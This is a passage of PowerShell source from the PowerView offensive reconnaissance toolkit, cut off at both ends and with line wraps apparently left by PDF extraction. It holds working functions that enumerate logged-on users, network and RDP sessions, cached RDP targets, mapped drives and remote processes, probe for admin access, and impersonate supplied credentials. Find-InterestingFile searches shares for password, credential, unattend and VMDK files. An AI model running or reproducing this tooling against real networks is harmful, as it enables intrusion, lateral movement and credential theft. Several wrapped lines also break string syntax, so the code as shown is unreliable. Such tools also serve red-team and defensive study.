$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-NetShare] Error: $
(([ComponentModel.Win32Exception] $Result).Message)"
}
}
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}

function Get-NetLoggedon {

[OutputType('PowerView.LoggedOnUserInfo')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}

PROCESS {
ForEach ($Computer in $ComputerName) {

$QueryLevel = 1
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0

$Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]


$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)

$Offset = $PtrInfo.ToInt64()

if (($Result -eq 0) -and ($Offset -gt 0)) {

$Increment = $WKSTA_USER_INFO_1::GetSize()

for ($i = 0; ($i -lt $EntriesRead); $i++) {


$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $WKSTA_USER_INFO_1

$LoggedOn = $Info | Select-Object *


$LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
$LoggedOn.PSObject.TypeNames.Insert(0,
'PowerView.LoggedOnUserInfo')
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$LoggedOn
}

$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-NetLoggedon] Error: $
(([ComponentModel.Win32Exception] $Result).Message)"
}
}
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}

function Get-NetSession {

[OutputType('PowerView.SessionInfo')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}

PROCESS {
ForEach ($Computer in $ComputerName) {
$QueryLevel = 10
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0

$Result = $Netapi32::NetSessionEnum($Computer, '', $UserName,


$QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]
$ResumeHandle)

$Offset = $PtrInfo.ToInt64()

if (($Result -eq 0) -and ($Offset -gt 0)) {

$Increment = $SESSION_INFO_10::GetSize()

for ($i = 0; ($i -lt $EntriesRead); $i++) {

$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset


$Info = $NewIntPtr -as $SESSION_INFO_10

$Session = $Info | Select-Object *


$Session | Add-Member Noteproperty 'ComputerName' $Computer
$Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo')
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$Session
}

$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-NetSession] Error: $
(([ComponentModel.Win32Exception] $Result).Message)"
}
}
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}

function Get-RegLoggedOn {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.RegLoggedOnUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost'
)

BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}

PROCESS {
ForEach ($Computer in $ComputerName) {
try {

$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users',
"$ComputerName")

$Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-


[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object {
$UserName = ConvertFrom-SID -ObjectSID $_ -OutputType
'DomainSimple'

if ($UserName) {
$UserName, $UserDomain = $UserName.Split('@')
}
else {
$UserName = $_
$UserDomain = $Null
}

$RegLoggedOnUser = New-Object PSObject


$RegLoggedOnUser | Add-Member Noteproperty 'ComputerName'
"$ComputerName"
$RegLoggedOnUser | Add-Member Noteproperty 'UserDomain'
$UserDomain
$RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName
$RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_
$RegLoggedOnUser.PSObject.TypeNames.Insert(0,
'PowerView.RegLoggedOnUser')
$RegLoggedOnUser
}
}
catch {
Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on
'$ComputerName' : $_"
}
}
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}

function Get-NetRDPSession {

[OutputType('PowerView.RDPSessionInfo')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}

PROCESS {
ForEach ($Computer in $ComputerName) {

$Handle = $Wtsapi32::WTSOpenServerEx($Computer)

if ($Handle -ne 0) {

$ppSessionInfo = [IntPtr]::Zero
$pCount = 0

$Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0,


[ref]$ppSessionInfo, [ref]$pCount);$LastError =
[Runtime.InteropServices.Marshal]::GetLastWin32Error()

$Offset = $ppSessionInfo.ToInt64()

if (($Result -ne 0) -and ($Offset -gt 0)) {

$Increment = $WTS_SESSION_INFO_1::GetSize()

for ($i = 0; ($i -lt $pCount); $i++) {


$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $WTS_SESSION_INFO_1

$RDPSession = New-Object PSObject

if ($Info.pHostName) {
$RDPSession | Add-Member Noteproperty 'ComputerName'
$Info.pHostName
}
else {

$RDPSession | Add-Member Noteproperty 'ComputerName'


$Computer
}

$RDPSession | Add-Member Noteproperty 'SessionName'


$Info.pSessionName

if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq


'')) {

$RDPSession | Add-Member Noteproperty 'UserName' "$


($Info.pUserName)"
}
else {
$RDPSession | Add-Member Noteproperty 'UserName' "$
($Info.pDomainName)\$($Info.pUserName)"
}

$RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID


$RDPSession | Add-Member Noteproperty 'State' $Info.State

$ppBuffer = [IntPtr]::Zero
$pBytesReturned = 0

$Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle,
$Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 =
[Runtime.InteropServices.Marshal]::GetLastWin32Error()

if ($Result2 -eq 0) {
Write-Verbose "[Get-NetRDPSession] Error: $
(([ComponentModel.Win32Exception] $LastError2).Message)"
}
else {
$Offset2 = $ppBuffer.ToInt64()
$NewIntPtr2 = New-Object System.Intptr -ArgumentList
$Offset2
$Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS

$SourceIP = $Info2.Address
if ($SourceIP[2] -ne 0) {
$SourceIP = [String]$SourceIP[2]+'.'+[String]
$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5]
}
else {
$SourceIP = $Null
}
$RDPSession | Add-Member Noteproperty 'SourceIP'
$SourceIP
$RDPSession.PSObject.TypeNames.Insert(0,
'PowerView.RDPSessionInfo')
$RDPSession

$Null = $Wtsapi32::WTSFreeMemory($ppBuffer)

$Offset += $Increment
}
}

$Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)


}
else {
Write-Verbose "[Get-NetRDPSession] Error: $
(([ComponentModel.Win32Exception] $LastError).Message)"
}

$Null = $Wtsapi32::WTSCloseServer($Handle)
}
else {
Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop
Session Host (RD Session Host) server for: $ComputerName"
}
}
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}

function Test-AdminAccess {

[OutputType('PowerView.AdminAccess')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}

PROCESS {
ForEach ($Computer in $ComputerName) {

$Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive',


0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

$IsAdmin = New-Object PSObject


$IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer

if ($Handle -ne 0) {
$Null = $Advapi32::CloseServiceHandle($Handle)
$IsAdmin | Add-Member Noteproperty 'IsAdmin' $True
}
else {
Write-Verbose "[Test-AdminAccess] Error: $
(([ComponentModel.Win32Exception] $LastError).Message)"
$IsAdmin | Add-Member Noteproperty 'IsAdmin' $False
}
$IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess')
$IsAdmin
}
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}

function Get-NetComputerSiteName {

[OutputType('PowerView.ComputerSite')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {

if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {


$IPAddress = $Computer
$Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-
Object -ExpandProperty HostName
}
else {
$IPAddress = @(Resolve-IPAddress -ComputerName $Computer)
[0].IPAddress
}

$PtrInfo = [IntPtr]::Zero

$Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)

$ComputerSite = New-Object PSObject


$ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
$ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress

if ($Result -eq 0) {
$Sitename =
[System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
$ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
}
else {
Write-Verbose "[Get-NetComputerSiteName] Error: $
(([ComponentModel.Win32Exception] $Result).Message)"
$ComputerSite | Add-Member Noteproperty 'SiteName' ''
}
$ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite')

$Null = $Netapi32::NetApiBufferFree($PtrInfo)

$ComputerSite
}
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}

function Get-WMIRegProxy {

[OutputType('PowerView.ProxySettings')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

PROCESS {
ForEach ($Computer in $ComputerName) {
try {
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential']
= $Credential }

$RegProvider = Get-WmiObject @WmiArguments


$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings'

$HKCU = 2147483649
$ProxyServer = $RegProvider.GetStringValue($HKCU, $Key,
'ProxyServer').sValue
$AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key,
'AutoConfigURL').sValue

$Wpad = ''
if ($AutoConfigURL -and ($AutoConfigURL -ne '')) {
try {
$Wpad = (New-Object
Net.WebClient).DownloadString($AutoConfigURL)
}
catch {
Write-Warning "[Get-WMIRegProxy] Error connecting to
AutoConfigURL : $AutoConfigURL"
}
}

if ($ProxyServer -or $AutoConfigUrl) {


$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ComputerName' $Computer
$Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer
$Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL
$Out | Add-Member Noteproperty 'Wpad' $Wpad
$Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings')
$Out
}
else {
Write-Warning "[Get-WMIRegProxy] No proxy settings found for
$ComputerName"
}
}
catch {
Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings
for $ComputerName : $_"
}
}
}
}

function Get-WMIRegLastLoggedOn {

[OutputType('PowerView.LastLoggedOnUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

PROCESS {
ForEach ($Computer in $ComputerName) {

$HKLM = 2147483650

$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'SilentlyContinue'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] =
$Credential }

try {
$Reg = Get-WmiObject @WmiArguments

$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\
LogonUI'
$Value = 'LastLoggedOnUser'
$LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue

$LastLoggedOn = New-Object PSObject


$LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
$LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
$LastLoggedOn.PSObject.TypeNames.Insert(0,
'PowerView.LastLoggedOnUser')
$LastLoggedOn
}
catch {
Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote
registry on $Computer. Remote registry likely not enabled."
}
}
}
}

function Get-WMIRegCachedRDPConnection {

[OutputType('PowerView.CachedRDPConnection')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

PROCESS {
ForEach ($Computer in $ComputerName) {

$HKU = 2147483651

$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] =
$Credential }

try {
$Reg = Get-WmiObject @WmiArguments

$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -


match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }

ForEach ($UserSID in $UserSIDs) {


try {
if ($PSBoundParameters['Credential']) {
$UserName = ConvertFrom-SID -ObjectSid $UserSID -
Credential $Credential
}
else {
$UserName = ConvertFrom-SID -ObjectSid $UserSID
}

$ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\
Microsoft\Terminal Server Client\Default").sNames

ForEach ($Connection in $ConnectionKeys) {

if ($Connection -match 'MRU.*') {


$TargetServer = $Reg.GetStringValue($HKU,
"$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue

$FoundConnection = New-Object PSObject


$FoundConnection | Add-Member Noteproperty
'ComputerName' $Computer
$FoundConnection | Add-Member Noteproperty
'UserName' $UserName
$FoundConnection | Add-Member Noteproperty
'UserSID' $UserSID
$FoundConnection | Add-Member Noteproperty
'TargetServer' $TargetServer
$FoundConnection | Add-Member Noteproperty
'UsernameHint' $Null
$FoundConnection.PSObject.TypeNames.Insert(0,
'PowerView.CachedRDPConnection')
$FoundConnection
}
}

$ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\
Microsoft\Terminal Server Client\Servers").sNames

ForEach ($Server in $ServerKeys) {

$UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\


Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue

$FoundConnection = New-Object PSObject


$FoundConnection | Add-Member Noteproperty
'ComputerName' $Computer
$FoundConnection | Add-Member Noteproperty 'UserName'
$UserName
$FoundConnection | Add-Member Noteproperty 'UserSID'
$UserSID
$FoundConnection | Add-Member Noteproperty
'TargetServer' $Server
$FoundConnection | Add-Member Noteproperty
'UsernameHint' $UsernameHint
$FoundConnection.PSObject.TypeNames.Insert(0,
'PowerView.CachedRDPConnection')
$FoundConnection
}
}
catch {
Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_"
}
}
}
catch {
Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing
$Computer, likely insufficient permissions or firewall rules on host: $_"
}
}
}
}

function Get-WMIRegMountedDrive {

[OutputType('PowerView.RegMountedDrive')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

PROCESS {
ForEach ($Computer in $ComputerName) {

$HKU = 2147483651

$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] =
$Credential }

try {
$Reg = Get-WmiObject @WmiArguments

$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -


match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }

ForEach ($UserSID in $UserSIDs) {


try {
if ($PSBoundParameters['Credential']) {
$UserName = ConvertFrom-SID -ObjectSid $UserSID -
Credential $Credential
}
else {
$UserName = ConvertFrom-SID -ObjectSid $UserSID
}

$DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\


Network")).sNames

ForEach ($DriveLetter in $DriveLetters) {


$ProviderName = $Reg.GetStringValue($HKU, "$UserSID\
Network\$DriveLetter", 'ProviderName').sValue
$RemotePath = $Reg.GetStringValue($HKU, "$UserSID\
Network\$DriveLetter", 'RemotePath').sValue
$DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\
Network\$DriveLetter", 'UserName').sValue
if (-not $UserName) { $UserName = '' }

if ($RemotePath -and ($RemotePath -ne '')) {


$MountedDrive = New-Object PSObject
$MountedDrive | Add-Member Noteproperty
'ComputerName' $Computer
$MountedDrive | Add-Member Noteproperty 'UserName'
$UserName
$MountedDrive | Add-Member Noteproperty 'UserSID'
$UserSID
$MountedDrive | Add-Member Noteproperty
'DriveLetter' $DriveLetter
$MountedDrive | Add-Member Noteproperty
'ProviderName' $ProviderName
$MountedDrive | Add-Member Noteproperty
'RemotePath' $RemotePath
$MountedDrive | Add-Member Noteproperty
'DriveUserName' $DriveUserName
$MountedDrive.PSObject.TypeNames.Insert(0,
'PowerView.RegMountedDrive')
$MountedDrive
}
}
}
catch {
Write-Verbose "[Get-WMIRegMountedDrive] Error: $_"
}
}
}
catch {
Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer,
likely insufficient permissions or firewall rules on host: $_"
}
}
}
}

function Get-WMIProcess {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

PROCESS {
ForEach ($Computer in $ComputerName) {
try {
$WmiArguments = @{
'ComputerName' = $ComputerName
'Class' = 'Win32_process'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential']
= $Credential }
Get-WMIobject @WmiArguments | ForEach-Object {
$Owner = $_.getowner();
$Process = New-Object PSObject
$Process | Add-Member Noteproperty 'ComputerName' $Computer
$Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
$Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
$Process | Add-Member Noteproperty 'Domain' $Owner.Domain
$Process | Add-Member Noteproperty 'User' $Owner.User
$Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess')
$Process
}
}
catch {
Write-Verbose "[Get-WMIProcess] Error enumerating remote processes
on '$Computer', access likely denied: $_"
}
}
}
}

function Find-InterestingFile {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FoundFile')]
[CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$Path = '.\',

[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[Alias('SearchTerms', 'Terms')]
[String[]]
$Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*',
'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),

[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastAccessTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastWriteTime,

[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$CreationTime,

[Parameter(ParameterSetName = 'OfficeDocs')]
[Switch]
$OfficeDocs,

[Parameter(ParameterSetName = 'FreshEXEs')]
[Switch]
$FreshEXEs,

[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeFolders,

[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeHidden,

[Switch]
$CheckWriteAccess,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$SearcherArguments = @{
'Recurse' = $True
'ErrorAction' = 'SilentlyContinue'
'Include' = $Include
}
if ($PSBoundParameters['OfficeDocs']) {
$SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx',
'*.ppt', '*.pptx')
}
elseif ($PSBoundParameters['FreshEXEs']) {

$LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
$SearcherArguments['Include'] = @('*.exe')
}
$SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden']

$MappedComputers = @{}

function Test-Write {

[CmdletBinding()]Param([String]$Path)
try {
$Filetest = [IO.File]::OpenWrite($Path)
$Filetest.Close()
$True
}
catch {
$False
}
}
}

PROCESS {
ForEach ($TargetPath in $Path) {
if (($TargetPath -Match '\\\\.*\\.*') -and
($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {

Add-RemoteConnection -ComputerName $HostComputer -Credential


$Credential
$MappedComputers[$HostComputer] = $True
}
}

$SearcherArguments['Path'] = $TargetPath
Get-ChildItem @SearcherArguments | ForEach-Object {

$Continue = $True
if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) {
Write-Verbose "Excluding: $($_.FullName)"
$Continue = $False
}
if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) {
$Continue = $False
}
if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt
$LastWriteTime)) {
$Continue = $False
}
if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt
$CreationTime)) {
$Continue = $False
}
if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -
Path $_.FullName))) {
$Continue = $False
}
if ($Continue) {
$FileParams = @{
'Path' = $_.FullName
'Owner' = $((Get-Acl $_.FullName).Owner)
'LastAccessTime' = $_.LastAccessTime
'LastWriteTime' = $_.LastWriteTime
'CreationTime' = $_.CreationTime
'Length' = $_.Length
}
$FoundFile = New-Object -TypeName PSObject -Property
$FileParams
$FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile')
$FoundFile
}
}
}
}

END {

$MappedComputers.Keys | Remove-RemoteConnection
}
}

function New-ThreadedFunction {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChang
ingFunctions', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[String[]]
$ComputerName,

[Parameter(Position = 1, Mandatory = $True)]


[System.Management.Automation.ScriptBlock]
$ScriptBlock,

[Parameter(Position = 2)]
[Hashtable]
$ScriptParameters,

[Int]
[ValidateRange(1, 100)]
$Threads = 20,

[Switch]
$NoImports
)

BEGIN {

$SessionState =
[System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()

$SessionState.ApartmentState = [System.Threading.ApartmentState]::STA

if (-not $NoImports) {

$MyVars = Get-Variable -Scope 2


$VorbiddenVars =
@('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','in
put','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','Max
imumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','nul
l','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues'
,'PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','Synchroniz
edHash','true')

ForEach ($Var in $MyVars) {


if ($VorbiddenVars -NotContains $Var.Name) {
$SessionState.Variables.Add((New-Object -TypeName
System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList
$Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
}
}

ForEach ($Function in (Get-ChildItem Function:)) {


$SessionState.Commands.Add((New-Object -TypeName
System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList
$Function.Name, $Function.Definition))
}
}

$Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState,


$Host)
$Pool.Open()

$Method = $Null
ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq
'BeginInvoke' }) {
$MethodParameters = $M.GetParameters()
if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq
'input' -and $MethodParameters[1].Name -eq 'output') {
$Method = $M.MakeGenericMethod([Object], [Object])
break
}
}

$Jobs = @()
$ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()}
Write-Verbose "[New-ThreadedFunction] Total number of hosts: $
($ComputerName.count)"

if ($Threads -ge $ComputerName.Length) {


$Threads = $ComputerName.Length
}
$ElementSplitSize = [Int]($ComputerName.Length/$Threads)
$ComputerNamePartitioned = @()
$Start = 0
$End = $ElementSplitSize

for($i = 1; $i -le $Threads; $i++) {


$List = New-Object System.Collections.ArrayList
if ($i -eq $Threads) {
$End = $ComputerName.Length
}
$List.AddRange($ComputerName[$Start..($End-1)])
$Start += $ElementSplitSize
$End += $ElementSplitSize
$ComputerNamePartitioned += @(,@($List.ToArray()))
}

Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions:


$Threads"

ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {

$PowerShell = [PowerShell]::Create()
$PowerShell.runspacepool = $Pool

$Null =
$PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName',
$ComputerNamePartition)
if ($ScriptParameters) {
ForEach ($Param in $ScriptParameters.GetEnumerator()) {
$Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
}
}

$Output = New-Object Management.Automation.PSDataCollection[Object]

$Jobs += @{
PS = $PowerShell
Output = $Output
Result = $Method.Invoke($PowerShell, @($Null,
[Management.Automation.PSDataCollection[Object]]$Output))
}
}
}

END {
Write-Verbose "[New-ThreadedFunction] Threads executing"

Do {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
}
Start-Sleep -Seconds 1
}
While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0)

$SleepSeconds = 100
